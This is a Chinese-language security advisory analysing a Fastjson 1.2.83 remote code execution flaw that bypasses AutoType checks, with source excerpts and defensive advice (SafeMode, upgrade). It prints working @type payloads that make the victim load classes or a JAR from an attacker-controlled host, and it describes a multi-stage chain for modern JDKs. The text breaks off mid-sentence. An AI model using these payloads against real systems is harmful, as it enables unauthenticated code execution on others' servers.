GCSA洞察:Fastjson 1.2.83「無小工具(Gadget-Free)」漏洞(0day)深度分析與防禦指南
- 核心觀點:Fastjson 1.2.83 在預設 AutoType 關閉狀態下,仍可透過將使用者可控的 @type 值建構為絕對 URL,繞過安全檢查,直接從遠端載入並實例化帶有 @JSONType 註解的惡意類別,實現無需傳統小工具的遠端程式碼執行(RCE)。
- 關鍵要素:
- Fastjson 的 ParserConfig.checkAutoType 方法會將 @type 值中的點號替換為斜線後,作為資源名稱交由 ClassLoader.getResourceAsStream 獲取,該操作未限制 URL 協議,導致可載入遠端資源。
- 攻擊者可在遠端 class 上添加 @JSONType 註解,Fastjson 檢測到後將其視為授權依據,繞過隨後的危險基礎類別檢查與類型相容性檢查,直接返回並實例化該類別。
- 在現代 JDK 17+ 環境中,攻擊者透過建構 jar:http:... 類型名稱使 JVM 下載遠端 JAR 建立暫存快取,再利用 jar:file:/proc/self/fd/N!... 開啟該快取檔案描述符,分階段完成 RCE。
- 透過在 @type 值末尾添加 Exception 後綴,可使 Fastjson 在類別載入失敗時返回 null 而非拋出例外,實現「軟返回」,確保 payload 能在不同 JDK 版本的陣列解析鏈中繼續執行。
- 該漏洞已在 JDK 8/17/21/25 及 Spring Boot Loader 隔離環境中成功重現,固定 JSON.parseObject 的第二參數無法防禦。

摘要
在傳統 Java 反序列化漏洞防禦體系中,業界普遍存在以下認知盲區:「AutoType 預設關閉就安全」、「固定了 parseObject 的第二參數(頂層目標類型)就安全」、「排空了本地 Classpath 的反序列化 Gadget 依賴就安全」。然而,最新的技術攻防演進徹底打破了這些僥倖心理。
GCSA 全球網路安全聯盟今日獨家發布本篇技術洞察報告。報告深入複盤了 Fastjson 1.2.83 在預設 AutoType=false 狀態下,依然可觸發無需傳統 Gadget 依賴的遠端程式碼執行(RCE)的底層根因。目前,該利用技術已在 JDK 8 / 17 / 21 / 25 以及 Spring Boot Loader 隔離環境中端到端復現成功。本漏洞並非傳統的「繞過黑名單後尋找本地 Gadget」,而是直接將 Fastjson 自身的 Class 元資料探測邏輯扭轉為遠端惡意 Class 的獲取與授權通道。
以下為正文
- 發布機構: GCSA 全球網路安全聯盟
- 報告類型: 獨家技術洞察 / 漏洞深度剖析報告
- 報告日期:2026-07-21
- 報告狀態:已完成源碼審計與隔離環境復現
- 漏洞編號:內部研究編號
FJ-GETRESOURCE-RCE(不對應已公開 CVE)
Fastjson 1.2.83 在預設 AutoType=false 下仍可觸發無需傳統 gadget 的遠端程式碼執行,已在 JDK 8/17/21/25 + Spring Boot Loader 隔離環境復現。建議立即啟用 SafeMode 並遷移 Fastjson 2.x。
1. 執行摘要
Fastjson 1.2.83 的ParserConfig.checkAutoType會把使用者可控的@type值轉換為 class 資源名,並交給當前 ClassLoader 的getResourceAsStream:
String resource = typeName.replace('.', '/') + ".class";
is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
在能夠解析絕對 URL 資源名的 fat-jar ClassLoader 環境中,攻擊者可以利用點號替換構造http:、jar:http:和jar:file:URL,從攻擊端下載帶有@JSONType的惡意 class。Fastjson 檢測到該註解後會呼叫loadClass,並在危險基底類別檢查和目標類型相容性檢查之前直接返回該 class。class 被實例化、初始化時即可執行任意程式碼。
該利用不依賴目標 classpath 中已有的傳統反序列化 gadget,且在 FastjsonAutoType=false的預設狀態下仍可觸發。固定JSON.parseObject的目標類型不能阻止執行;啟用 SafeMode 可以在資源存取前阻斷正常利用路徑。
本報告已使用同一個 JSON payload 在隔離 Linux 容器中完成以下復現:
JDKClassLoader 環境 Fastjson 結果 Temurin 8 U492Spring Boot Loader 2.7.181.2.83RCE 成功 Temurin 17.0.19Spring Boot Loader 3.2.01.2.83RCE 成功 Temurin 21.0.11Spring Boot Loader 3.2.01.2.83RCE 成功 Temurin 25.0.3Spring Boot Loader 3.2.01.2.83RCE 成功
2. 漏洞評級
項目結論漏洞類型不安全反序列化 / 遠端 class 注入 / 遠端程式碼執行建議等級高危;滿足已驗證部署條件時可按嚴重處理攻擊向量網路遠端權限要求無使用者互動無機密性影響高完整性影響高可用性影響高利用複雜度取決於 ClassLoader、出網能力及作業系統檔案描述符介面
不建議僅憑元件版本給出統一的 CVSS 9.8:普通AppClassLoader是負對照,現代 JDK 完整鏈還依賴能夠解析兩種絕對 JAR URL 的 loader 和/proc/self/fd。在滿足本報告正向環境的應用中,漏洞效果為無需認證的網路 RCE。
3. 影響範圍與前置條件
3.1 已確認範圍
- 運行時確認:Fastjson 1.2.83。
- JDK 確認:8、17、21、25。
- 作業系統確認:Linux;macOS 使用
/dev/fd也完成了 JDK 17/21/25 復現。 - loader 確認:
- Spring Boot 2.7.18 classic loader + JDK 8; - Spring Boot 3.2.0 loader + JDK 17/21/25。
- API 確認:
JSON.parse,以及固定頂層類型的JSON.parseObject。
3.2 版本範圍說明
外部描述中的1.2.68–1.2.83更適合作為已知測試範圍,而不是漏洞引入版本。 源碼核對表明,決定性的 class 資源探測程式碼在 1.2.67 和 1.2.68 中已經存在。本報告僅對 1.2.83 完成了完整跨 JDK 運行時驗證,不能據此斷言更早版本全部具備完全相同的端到端利用條件。
3.3 利用所需條件
- 攻擊者可以控制傳入 Fastjson 的 JSON,且輸入中的
@type會被解析。 - SafeMode 未啟用。
- 載入 Fastjson 的 ClassLoader 能把構造後的絕對資源名解析為 URL。
- 受害行程可以連接攻擊端 HTTP 服務。
- 現代 Linux 鏈要求
/proc/self/fd可讀,並且 loader 能解析
jar:file:/proc/self/fd/N!...。
- JDK 需要能夠建立正常的遠端 JAR 臨時快取;這通常意味著 JVM 臨時目錄可寫。
攻擊者不需要:
- 向目標 classpath 寫入檔案;
- 目標 classpath 預裝
TemplatesImpl、JNDI、C3P0、Commons Collections 等 gadget; - 開啟 Fastjson AutoType;
- 控制
JSON.parseObject的第二個參數。
4. 根因分析
4.1 使用者類型名被當作資源 URL
源碼位置:
src/main/java/com/alibaba/fastjson/parser/ParserConfig.java:1479-1498
核心程式碼:
String resource = typeName.replace('.', '/') + ".class";
if (defaultClassLoader != null) {
is = defaultClassLoader.getResourceAsStream(resource);
} else {
is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
}
該邏輯假設resource只是普通 classpath 路徑,但沒有限制其協定、絕對路徑語義或來源。對於特定 fat-jar loader,以下輸入會在替換後變成絕對 URL:
輸入類型名: http:..localhost:18081.a 資源名: http://localhost:18081/a.class
因此getResourceAsStream從本地元資料查詢越界為攻擊者可控的網路資源載入。
4.2 遠端 class 的@JSONType被當作授權依據
Fastjson 使用自己的 ASMClassReader解析資源內容:
ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType();
攻擊端只需讓遠端 class 帶有 Fastjson 的@JSONType註解,即可將jsonType置為true。這裡檢查的是攻擊者提供的位元組,而不是一個已經由可信 classpath 載入的類。
4.3jsonType觸發實際類別載入
源碼位置:
ParserConfig.java:1500-1503
TypeUtils.java:1759-1792
if (autoTypeSupport || jsonType || expectClassFlag) {
boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}
TypeUtils.loadClass依次嘗試顯式 loader、執行緒上下文 loader 和Class.forName。 在正向環境中,執行緒上下文 loader 會再次解析相同的絕對資源名、下載 class 並執行defineClass。
4.4@JSONType早返回繞過後續安全性檢查
源碼位置:
ParserConfig.java:1505-1528
if (clazz != null) {
if (jsonType) {
return clazz;
} // These checks are performed after the jsonType is returned.
if (ClassLoader.class.isAssignableFrom(clazz)
|| DataSource.class.isAssignableFrom(clazz)
|| RowSet.class.isAssignableFrom(clazz)) {
throw new JSONException(...);
} if (expectClass != null) {
// assignability the check is also done later.
}
}
因此,遠端 class 一旦攜帶@JSONType:
- 危險基底類別檢查不會執行;
expectClass.isAssignableFrom(clazz)不會執行;- 固定資料綁定類型無法在 class 初始化之前阻止執行。
4.5Exception/Error後綴形成失敗軟通道
源碼位置:
ParserConfig.java:1537-1542
if (!autoTypeSupport) {
if (typeName.endsWith("Exception") || typeName.endsWith("Error")) {
return null;
}
throw new JSONException("autoType is not support. " + typeName);
}
現代 JDK 第一階段會因非法內部類別名載入失敗。讓類型名以Exception結尾後, Fastjson 不會終止整個 JSON,而是返回null,使解析器繼續處理陣列中的 FD 枚舉元素。這一個分支是單 payload 跨階段執行的關鍵。
4.6 SafeMode 的位置
SafeMode 檢查位於資源存取之前:
ParserConfig.java:1325-1330
所以預設路徑中 SafeMode 能阻止網路請求。不過AutoTypeCheckHandler位於 SafeMode 之前(ParserConfig.java:1316-1323);如果應用主動註冊了一個直接返回類型的 handler,需要單獨審計,不能把 SafeMode 理解為可覆蓋自訂 handler 的絕對邊界。
5. 利用鏈詳解
5.1 JDK 8:直接遠端 class 載入
最短形式:
{"@type":"http:..localhost:18081.a"}
轉換鏈:
binary type name: http:..localhost:18081.a resource URL: http://localhost:18081/a.class class internal: http://localhost:18081/a
JDK 8 接受上述非常規內部類別名。Spring Boot 2.7 的LaunchedURLClassLoader下載 class 後完成定義、實例化和初始化,惡意<clinit>執行命令。
JDK 17+ 同樣會完成網路請求,但拒絕內部名中的空路徑段:
ClassFormatError: Illegal class name "http://localhost:18081/a"
所以短http:..形式本身只在 JDK 8 完成 RCE。
5.2 現代 JDK 第一階段:下載遠端 JAR
單 payload 的首個陣列元素:
{"@type":"jar:http:..attacker:18081.x!.foo.Exception"}
轉換結果:
resource URL: jar:http://attacker:18081/x!/foo/Exception.class
JDK 的sun.net.www.protocol.jar.URLJarFile.retrieve會建立jar_cache*暫存檔案, 將遠端 JAR 複製到該檔案,然後開啟JarFile。快取仍由受害 JVM 持有;攻擊者不需要知道隨機暫存檔案名,也沒有直接向受害檔案系統寫檔案。
JDK 17+ 隨後拒絕第一階段jar:http://...內部名,但 Fastjson


